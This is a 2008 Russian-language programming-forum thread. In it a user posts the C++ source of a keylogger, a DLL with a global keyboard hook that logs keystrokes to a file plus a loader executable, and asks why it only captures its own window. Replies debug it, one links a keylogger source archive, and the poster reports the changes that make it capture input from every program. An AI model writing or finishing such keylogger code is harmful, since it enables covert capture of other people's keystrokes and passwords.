Сейчас на форуме: Magister Yoda, vasilevradislav, tyns777, zombi-vadim (+3 невидимых) |
eXeL@B —› Программирование —› проблема с глобальным хуком для кейлогера |
Посл.ответ | Сообщение |
|
Создано: 27 мая 2008 09:11 · Личное сообщение · #1 Для некоторых нужд пишу простенький кейлогер. Столкнулся с проблемой. Пишу длл, ставлю в ней глобальный хук SetWindowsHookEx. Хук ставится, его и каспер ловит и в ольке видно, что ставится. Но он упорно не перехватывает все события, а только те события, которые адресованы окну самого кейлогера, в чем ошибка не пойму Вот текст dll ки. Язык с++, делаю в C++Borland Builder 6 //-------------------------------------------------------------------- ------- #include <vcl.h> #include <windows.h> #include <stdio.h> #pragma hdrstop #pragma argsused HHOOK hHook; HINSTANCE hInstance; _declspec(dllexport) int SetHook(); LRESULT CALLBACK KeyHook(int,WPARAM,LPARAM); int WINAPI DllEntryPoint(HINSTANCE hinst, unsigned long reason, void* lpReserved) { if(reason==DLL_PROCESS_ATTACH) hInstance=(HINSTANCE)hinst; return 1; } //-------------------------------------------------------------------- ------- _declspec(dllexport) int SetHook()// тут хук { hHook=SetWindowsHookEx(WH_KEYBOARD,(HOOKPROC)KeyHook,hInstance,0); if(hHook==0) return -1; return 0; } LRESULT CALLBACK KeyHook(int code,WPARAM wParam,LPARAM lParam)// тут записть перехвата в файл { FILE *file=fopen("t.log","a"); fprintf(file,"%c",wParam); fclose(file); return CallNextHookEx(hHook,code,wParam,lParam); } Вот экзешник: #include <windows.h> #include <stdio.h> #pragma hdrstop //-------------------------------------------------------------------- ------- #pragma argsused HWND hMainWnd; HINSTANCE hDll; LRESULT CALLBACK WndProc(HWND,UINT,WPARAM,LPARAM); int (*SetHook)(); int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) { char szClassName[]="MyClass"; MSG msg; WNDCLASSEX wc; wc.cbSize=sizeof(wc); wc.style=CS_HREDRAW|CS_VREDRAW; wc.lpfnWndProc=WndProc; wc.cbClsExtra=0; wc.cbWndExtra=0; wc.hInstance=hInstance; wc.hIcon=LoadIcon(NULL,IDI_APPLICATION); wc.hCursor=LoadCursor(NULL,IDC_ARROW); wc.hbrBackground=(HBRUSH)GetStockObject(WHITE_BRUSH); wc.lpszMenuName=NULL; wc.lpszClassName=szClassName; wc.hIconSm=LoadIcon(NULL,IDI_APPLICATION); if(!RegisterClassEx(&wc)) { MessageBox(NULL,"Cannot register class","Error",MB_OK); return 0; } hMainWnd=CreateWindow(szClassName,"Hello App",WS_OVERLAPPEDWINDOW, CW_USEDEFAULT,0,CW_USEDEFAULT,0,(HWND)NULL, (HMENU)NULL,(HINSTANCE)hInstance,NULL); if(!hMainWnd) { MessageBox(NULL,"Cannot create main window","Error",MB_OK); return 0; } ShowWindow(hMainWnd,nCmdShow);//SW_HIDE);// hDll=LoadLibrary((LPCTSTR)"udll.dll"); SetHook=(int(*)())GetProcAddress(hDll,"@SetHook$qv"); if(SetHook)SetHook(); while(GetMessage(&msg,NULL,0,0)) { TranslateMessage(&msg); DispatchMessage(&msg); } if(hDll)FreeLibrary(hDll); return msg.wParam; } LRESULT CALLBACK WndProc(HWND hWnd ,UINT msg,WPARAM wParam,LPARAM lParam) { switch(msg) { case WM_CLOSE: if(hDll)FreeLibrary(hDll); DestroyWindow(hWnd); break; case WM_DESTROY: if(hDll)FreeLibrary(hDll); PostQuitMessage(0); break; default: return DefWindowProc(hWnd,msg,wParam,lParam); } return 0; } Кто глянет, где ошибка и почему не пишет все события в файл, а только события от родного окна??? |
|
Создано: 27 мая 2008 10:04 · Личное сообщение · #2 |
|
Создано: 27 мая 2008 10:42 · Поправил: LazzY · Личное сообщение · #3 может я чего не понимаю, но откуда здесь: dimaxmaster пишет: LRESULT CALLBACK KeyHook(int code,WPARAM wParam,LPARAM lParam)// тут записть перехвата в файл { FILE *file=fopen("t.log","a"); fprintf(file,"%c",wParam); fclose(file); return CallNextHookEx(hHook,code,wParam,lParam); } вы возьмете hHook для остальных длл ( не тех что поставили хук ) ? s0larian, глобальная переменая не распространяется на все копии дллок в системе. уже не 98ой год на дворе |
|
Создано: 27 мая 2008 19:41 · Личное сообщение · #4 |
|
Создано: 27 мая 2008 22:37 · Личное сообщение · #5 |
|
Создано: 28 мая 2008 00:21 · Личное сообщение · #6 |
|
Создано: 28 мая 2008 09:04 · Личное сообщение · #7 s0larian пишет: Ты посылаешь в SetWindowsHookEx() не тот hinst. Перенеси SetHook() в код устанавливающего процесса и используй hinst полученный от LoadLibrary(). Я могу перенести SetHook() в экзешник, но где тогда размещять SetWindowsHookEx(), ведь он находится именно в dll в функции SetHook()? LazzY Возврат hHook в функции return CallNextHookEx(hHook,code,wParam,lParam) обязателен по MSDN - иначе нужная программа не получит свое сообщение. s0larian пишет: LazzY, согласен, эта глобальная переменная установленная в одном процессе не имеет эффекта в другом, но косяк не тут - msdn говорит что этот параметр игнорируется. IMHO косяк с hinst Может и косяк с hinst, но какой? Я ведь передаю глобальному хуку hinst который возращает dll при аттаче к процессу. Пока думаю в чем ошибка |
|
Создано: 28 мая 2008 11:24 · Личное сообщение · #8 Я видил исходник кейлогера на delphi так там из основного модуля функции установки хука передавался hinst. И в интернете много инфы на эту тему которая мне лично помогала. hMod Идентифицирует динамически подключаемую библиотеку (DLL), содержащую фильтр - процедуру, указанную lpfn параметром. Параметр hMod должен быть установлен в значение ПУСТО (NULL), если параметр dwThreadId определяет поток, созданный текущим процессом и, если подключаемая процедура внутри кода, связанного с текущим процессом. Ну и вот вся статья - www.firststeps.ru/mfc/winapi/hook/r.php?35 ----- Md5 fcbb6c9c9a5029b24d70f2d67c7cca74 |
|
Создано: 28 мая 2008 11:40 · Личное сообщение · #9 Вот сам исходник кейлоггера,глянь,мож полезного чего в нем найдёш b319_28.05.2008_CRACKLAB.rU.tgz - Key_Logger.7z |
|
Создано: 28 мая 2008 20:03 · Личное сообщение · #10 |
|
Создано: 29 мая 2008 16:59 · Личное сообщение · #11 Нашел ошибку, собственно. Кому интересно, то такие изменения: 1. В dll процедуру SetHOOK() поменял с int на void. Убрал возвращаемое значение. 2. В dll Переменную HINSTANCE hInstanse поменял на HANDLE hInstance 3. Файл записи указал конкретно, было "t.log" стало "E://t.log" (можно любое другое место) После этого все пишется в файл из любых программ и форм.Сразу добавлю, это только макет. Для корректной работы необходимо переписать процедуры записи в файл, так как при таком коде пишет с кракозябрами. Такой код каспер ловит сразу, на других антивирях не проверял. Собственно каспер видит вызов SetWindowsHookEx и сразу "кричит". s0larian пишет: dimaxmaster пишет: Я могу перенести SetHook() в экзешник, но где тогда размещять SetWindowsHookEx(), ведь он находится именно в dll в функции SetHook()? В .exe В exe нельзя переносить, толку не будет. Из exe катит только на 95,98 и Ме Виндосах. 2000, XP и все из этой серии, то хук ставится только в dll |
|
Создано: 29 мая 2008 17:29 · Поправил: Hellspawn · Личное сообщение · #12 |
|
Создано: 30 мая 2008 00:23 · Личное сообщение · #13 dimaxmaster пишет: В exe нельзя переносить, толку не будет. Из exe катит только на 95,98 и Ме Виндосах. 2000, XP и все из этой серии, то хук ставится только в dll Чушь. Код выполняется в контексте потока, живущего в оригинальном процессе. То есть в твоём .exe. В примере код физически находится в .dll хотя логически принадлежит (и работает) только в .exe. Объясню с другой стороны - в других процессах этот код никогда не будет вызван - убери его из DLL и всё станет проще и красивее. |
|
Создано: 30 мая 2008 09:12 · Личное сообщение · #14 Hellspawn,s0larian Читаем MSDN:http://msdn.microsoft.com/en-us/library/ms644990.aspx Цитата оттуда, кому лень ходить по ссылке: HHOOK SetWindowsHookEx( int idHook, HOOKPROC lpfn, HINSTANCE hMod, DWORD dwThreadId ); lpfn [in] Pointer to the hook procedure. If the dwThreadId parameter is zero or specifies the identifier of a thread created by a different process, the lpfn parameter must point to a hook procedure in a DLL. Otherwise, lpfn can point to a hook procedure in the code associated with the current process. hMod [in] Handle to the DLL containing the hook procedure pointed to by the lpfn parameter. The hMod parameter must be set to NULL if the dwThreadId parameter specifies a thread created by the current process and if the hook procedure is within the code associated with the current process. dwThreadId [in] Specifies the identifier of the thread with which the hook procedure is to be associated. If this parameter is zero, the hook procedure is associated with all existing threads running in the same desktop as the calling thread. |
|
Создано: 30 мая 2008 12:23 · Поправил: Hellspawn · Личное сообщение · #15 я не пойму, ты что такой непонятливый? те сказали, в ехе всё работает, ниже пролестнуть MSDN лень было? WH_KEYBOARD_LL Windows NT/2000/XP: Installs a hook procedure that monitors low-level keyboard input events. For more information, see the LowLevelKeyboardProc hook procedure. ... 1. The system calls this function every time a new keyboard input event is about to be posted into a thread input queue. The keyboard input can come from the local keyboard driver or from calls to the keybd_event function. 2. This hook is called in the context of the thread that installed it. ... а если по-русски, то WH_KEYBOARD срабатывает при попадании в очередь сообщений потока сообщений WM_KEYUP/WM_KEYDOWN, а WH_KEYBOARD_LL срабатывает при низкоуровневых клавиатурных событиях, поступающих от драйвера клавиатуры. И процедура обработки WH_KEYBOARD_LL выполняется в контексте приложения, ставившего хук. ----- [nice coder and reverser] |
|
Создано: 30 мая 2008 19:53 · Поправил: s0larian · Личное сообщение · #16 |
eXeL@B —› Программирование —› проблема с глобальным хуком для кейлогера |